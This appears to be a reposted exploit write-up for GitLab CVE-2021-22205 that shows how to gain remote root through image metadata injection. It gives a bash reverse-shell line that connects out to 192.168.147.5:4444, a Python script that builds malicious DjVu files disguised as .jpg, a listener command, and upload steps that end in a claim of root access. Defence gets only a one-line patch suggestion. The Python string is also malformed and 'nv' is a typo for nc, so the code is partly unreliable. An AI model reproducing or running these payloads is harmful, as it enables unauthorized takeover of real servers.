Exploit for Code Injection in Gitlab

## https://sploitus.com/exploit?id=79FC7D55-7101-56EA-94E4-ABC94E423B3E
# CVE-2021-22205-getshell  
CVE-2021-22205-getshell  

## Test version  

## Command to generate a vulnerability exploit using djvumake  
```bash
echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh  
chmod +x /tmp/1.sh  
/bin/bash /tmp/1.sh  
```  

## Generate a vulnerability exploit using djvumake  
```python  
import os  
payloads=[  
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",  
    "chmod +x /tmp/1.sh",  
    "/bin/bash /tmp/1.sh"  
]  
index=1000  
for payload in payloads:  
    rce_payload=(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()  
    with open("rce-{0}.txt".format(index), "wb") as text_file:  
        text_file.write(rce_payload)  
    text_file.close()  
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))  
    index=index+1  
```  

## Listen on port 4444 locally to receive a reverse-shell  
```bash  
nv -lv 192.168.147.5 4444  
```  

## Upload the images to GitLab  
- The upload process differs from the online examples; many vulnerability exploits use GitLab version 12 or 13, and the upload point is at the newly created Snippets section, with the path being /uploads/user.  
- I tested with version 11.10.0. Using the public upload path /uploads/user, a 404 error occurred; using the Snippets upload path /uploads/personal_snippet, the command could not be executed.  
- Finally, the image was uploaded from the new issue creation page, successfully executing the command.  

## Successfully obtain root access of the target machine by creating a reverse-shell  
After uploading the three images, the third image executed the reverse-shell command, successfully obtaining root access of the target machine.  

## Suggestions for fixing  
Update GitLab to the latest secure version as soon as possible.